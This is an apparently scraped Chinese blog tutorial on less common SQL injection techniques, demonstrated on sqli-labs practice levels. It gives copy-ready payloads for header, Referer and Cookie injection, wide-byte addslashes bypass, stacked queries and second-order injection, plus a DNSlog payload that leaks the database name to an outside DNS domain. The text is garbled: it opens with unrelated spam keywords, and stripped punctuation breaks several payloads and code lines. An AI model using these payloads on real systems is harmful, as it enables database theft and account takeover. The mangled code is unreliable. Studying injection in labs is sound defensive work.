定制网站开发方案ppt,360中小网站建设,大鱼直播,网络推广员工资多少钱除了联合查询注入#xff0c;报错注入#xff0c;盲注注入 sql注入还有以下几类#x1f9b9;#x1f9b9;#x1f9b9;#x1f9b9;#x1f9b9; 开始填坑
1.UA注入 原理#xff1a;有些网站会把用户的UA信息写入数据库#xff0c;用来收集和统计用户…除了联合查询注入报错注入盲注注入 sql注入还有以下几类 开始填坑
1.UA注入 原理有些网站会把用户的UA信息写入数据库用来收集和统计用户信息 此时就有可能存在UA 头注入一般会把数据插入到某张表中所以可以用报错注入。
就像sqli的第18关 在这里我们可以尝试ua头注入先找回登录的包 一个引号报错两个不报错 ---字符型注入 但是 这里的注入姿势又和select 不同因为这里已经不是select了 所以就要有新的poc 这里提供两个以及查看其最终的效果
1.在括号内进行构造 and extractvalue(1,concat(0x7e,(select database()),0x7e)) and 2.注释掉后面的值
,1,extractvalue(1,concat(0x7e,(select database()),0x7e)));# 这就是ua注入
2.refer注入
原理当你访问一个网站的时候你的浏览器需要告诉服务器你是从哪个地方访问服务器 的大部分网站或者app都会写入数据库用来分析量从哪里来以及统计广告投入的成本一般会把数据插入到某张表中所以可以用报错注入
所以这个好像和ua注入差不多那就上poc吧
and extractvalue(1,(concat(0x7e,(select database()),0x7e))))#
and extractvalue(1,(concat(0x7e,(select database()),0x7e))) and
这样都是可以的 3.Dnslog外带
原理将dnslog平台中的特有字段payload带入目标发起dns请求通过dns解析将请求后的关键信息组合成新的三级域名带出在dns服务器的dns日志中显示出来。
但是前提得是
需要root权限需要Windows的操作系统secure_file_priv为空
操作如下
先去找一个dns解析的网站 然后构造这样一个poc
http://127.0.0.1/sqli/Less-1/?id1 and (select load_file(concat(\\\\,(select
database()),.你的dns解析的域名/abc))) --
这样就能将他的数据库名字返回了 如果你想爆user()的话记得在之前加上hex() 得到结果再进行解码 4.Cookie注入
虽然不知道为什么但是总有一些逆天cookie长这个样子 cookie注入的原理对get传递来的参数进行了过滤但是忽略了cookie也可以传递参数
所以我们就可以这样
and extractvalue(1,concat(0x7e,(select database()),0x7e))# 5.宽字节注入锟斤拷
一般什么时候会发生宽字节注入呢 当数据库采用GBK编码但是PHP又采用UTF-8编码的时候而且还采用了一些关键词过滤函数就会发生宽字节注入
没听懂 来给你举个例子
假如有一个url 127.0.0.1/sqli/less1/?id1
那我们不用想肯定是sql注入 单引号一套上去 但是你就会发现 ’ 变成了 / 这就是强大的addslashes()函数的功劳了 但是道高一丈魔高一尺 我们可以抓住规则的漏洞
数据库不是GBK编码吗我们能不能加点东西让/变成一个 汉字 这样我们就实现了’的逃逸
我们只要找一个ascii码值大一点的数将/和这个数让数据库一位是一个汉字就能实现绕过
我们常用%df就是这样 那剩下来拿数据那些就简单了很熟悉对吧 6.堆叠注入
堆叠顾名思义就是一堆的东西一起注入上案例sqli的38关
这关感觉平平无奇即使一个普通的字符串注入但是我们去看一下源码 暗藏玄只因鸡 开始代码审计
$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{/* store first result set */if ($result mysqli_store_result($con1)){if($row mysqli_fetch_row($result)){echo font size 5 color #00FF00; printf(Your Username is : %s, $row[1]);echo br;printf(Your Password is : %s, $row[2]);echo br;echo /font;}
// mysqli_free_result($result);}/* print divider */if (mysqli_more_results($con1))
首先它的sql接受语句还是啥都没过滤可以直接注入了然后他居然有一个 mysqli_multi_query($con1, $sql)函数这个函数允许进行多次查询也就是造成堆叠注入的根源红队人员狂喜
于是就可以构造poc
1; insert into users(username,password) values(遇到堆叠注入,红队人员狂喜);--
直接看第十六条数据嘿嘿 7.二次注入
如果要完成二次注入你就必须知道一个真实人员的账号假设有一个admin 密码也是admin
首先我们注册一个用户名字为admin# 密码为123
然后我们去改密码为123456就会发现 登不进去了
反而密码变成了我们改的密码123456
这是因为update的原因 我们用admin’# 改密码的时候发生了这样一个poc
update users password 123456 where usernameadmin#
可以看到 admin后面的 刚好完成了闭合 并且用#将后面的注释掉了
这就是二次注入的魅力 基本不存在注入如果你把admin#也过滤那就没办法了但是我在二次尝试的时候就形成了注入
以上就基本上是sql注入的一些方法了 吐槽一句 好nm的冷啊啊啊啊啊啊啊啊啊啊啊啊啊